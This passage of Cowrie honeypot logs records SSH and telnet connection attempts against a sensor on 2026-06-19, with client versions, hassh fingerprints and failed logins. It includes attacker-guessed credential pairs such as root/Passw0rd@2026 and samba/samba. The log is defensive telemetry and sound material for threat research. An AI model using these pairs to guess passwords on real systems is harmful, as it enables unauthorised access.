openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:27:17.448686Z","src_ip":"5.89.75.194","session":"5ace3cfc5c8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd@2026","message":"login attempt [root/Passw0rd@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:27:17.899082Z","src_ip":"5.89.75.194","session":"5ace3cfc5c8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:27:19.006998Z","src_ip":"5.89.75.194","session":"5ace3cfc5c8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.17.146.173","src_port":34758,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c8f70bd0676","protocol":"ssh","message":"New connection: 201.17.146.173:34758 (10.17.0.5:22) [session: 9c8f70bd0676]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:27:31.583120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:27:31.587828Z","src_ip":"201.17.146.173","session":"9c8f70bd0676","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:27:31.748820Z","src_ip":"201.17.146.173","session":"9c8f70bd0676","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"patrimonio","password":"patrimonio","message":"login attempt [patrimonio/patrimonio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:27:32.414870Z","src_ip":"201.17.146.173","session":"9c8f70bd0676","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":37346,"dst_ip":"159.203.135.109","dst_port":23,"session":"633e725bf3a6","protocol":"telnet","message":"New connection: 172.81.62.90:37346 (159.203.135.109:23) [session: 633e725bf3a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:27:33.332681Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:27:33.576197Z","src_ip":"201.17.146.173","session":"9c8f70bd0676","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":41226,"dst_ip":"159.203.135.109","dst_port":22,"session":"d43a641fa004","protocol":"ssh","message":"New connection: 101.47.159.125:41226 (159.203.135.109:22) [session: d43a641fa004]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:27:47.422375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:27:47.426935Z","src_ip":"101.47.159.125","session":"d43a641fa004","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:27:47.672771Z","src_ip":"101.47.159.125","session":"d43a641fa004","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.80","src_port":1219,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a181f986335","protocol":"ssh","message":"New connection: 102.88.137.80:1219 (10.17.0.5:22) [session: 7a181f986335]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:27:48.006437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:27:48.010964Z","src_ip":"102.88.137.80","session":"7a181f986335","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"713bd9cc935561939c02dad25af2d3de","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes256-cbc,aes128-gcm@openssh.com,aes128-ctr,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes256-ctr","aes256-cbc","aes128-gcm@openssh.com","aes128-ctr","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 713bd9cc935561939c02dad25af2d3de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:27:48.192854Z","src_ip":"102.88.137.80","session":"7a181f986335","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456789@","message":"login attempt [root/Aa123456789@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:27:48.691336Z","src_ip":"101.47.159.125","session":"d43a641fa004","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samba","password":"samba","message":"login attempt [samba/samba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:27:48.955205Z","src_ip":"102.88.137.80","session":"7a181f986335","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:27:49.941001Z","src_ip":"101.47.159.125","session":"d43a641fa004","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:27:50.139012Z","src_ip":"102.88.137.80","session":"7a181f986335","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"76.79.213.69","src_port":58554,"dst_ip":"10.17.0.5","dst_port":22,"session":"f05ffdc6b478","protocol":"ssh","message":"New connection: 76.79.213.69:58554 (10.17.0.5:22) [session: f05ffdc6b478]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:27:50.737387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:27:50.741710Z","src_ip":"76.79.213.69","session":"f05ffdc6b478","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:27:50.863565Z","src_ip":"76.79.213.69","session":"f05ffdc6b478","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qaz123@@@","message":"login attempt [root/qaz123@@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:27:51.387723Z","src_ip":"76.79.213.69","session":"f05ffdc6b478","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:27:52.515803Z","src_ip":"76.79.213.69","session":"f05ffdc6b478","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.104.0.82","src_port":59304,"dst_ip":"10.17.0.5","dst_port":22,"session":"f127abd92fc7","protocol":"ssh","message":"New connection: 79.104.0.82:59304 (10.17.0.5:22) [session: f127abd92fc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:28:01.935475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:28:01.940571Z","src_ip":"79.104.0.82","session":"f127abd92fc7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:28:02.092328Z","src_ip":"79.104.0.82","session":"f127abd92fc7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"reviews","password":"reviews","message":"login attempt [reviews/reviews] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:28:02.728116Z","src_ip":"79.104.0.82","session":"f127abd92fc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:28:03.884293Z","src_ip":"79.104.0.82","session":"f127abd92fc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":60564,"dst_ip":"10.17.0.5","dst_port":22,"session":"0bb4e1bed471","protocol":"ssh","message":"New connection: 160.251.185.39:60564 (10.17.0.5:22) [session: 0bb4e1bed471]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:28:05.594955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:28:05.599891Z","src_ip":"160.251.185.39","session":"0bb4e1bed471","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:28:05.770178Z","src_ip":"160.251.185.39","session":"0bb4e1bed471","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"111","message":"login attempt [deployer/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:28:06.485906Z","src_ip":"160.251.185.39","session":"0bb4e1bed471","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:28:07.662402Z","src_ip":"160.251.185.39","session":"0bb4e1bed471","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.36613607406616,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:28:12.698721Z","src_ip":"172.81.62.90","session":"633e725bf3a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":33996,"dst_ip":"159.203.135.109","dst_port":23,"session":"655f12e1aca8","protocol":"telnet","message":"New connection: 107.6.151.170:33996 (159.203.135.109:23) [session: 655f12e1aca8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:28:14.442791Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":56742,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc68d6a2cd6c","protocol":"ssh","message":"New connection: 37.233.85.71:56742 (10.17.0.5:22) [session: bc68d6a2cd6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:28:21.239231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:28:21.246437Z","src_ip":"37.233.85.71","session":"bc68d6a2cd6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:28:21.360634Z","src_ip":"37.233.85.71","session":"bc68d6a2cd6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123ghbdtn","message":"login attempt [root/123ghbdtn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:28:21.707518Z","src_ip":"37.233.85.71","session":"bc68d6a2cd6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:28:22.824051Z","src_ip":"37.233.85.71","session":"bc68d6a2cd6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.80","src_port":1363,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fee039d33b5","protocol":"ssh","message":"New connection: 102.88.137.80:1363 (10.17.0.5:22) [session: 9fee039d33b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:28:41.978062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:28:41.982484Z","src_ip":"102.88.137.80","session":"9fee039d33b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"713bd9cc935561939c02dad25af2d3de","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes256-cbc,aes128-gcm@openssh.com,aes128-ctr,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes256-ctr","aes256-cbc","aes128-gcm@openssh.com","aes128-ctr","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 713bd9cc935561939c02dad25af2d3de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:28:42.164510Z","src_ip":"102.88.137.80","session":"9fee039d33b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wsq","password":"wsq123","message":"login attempt [wsq/wsq123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:28:42.922780Z","src_ip":"102.88.137.80","session":"9fee039d33b5","protocol":"ssh"}
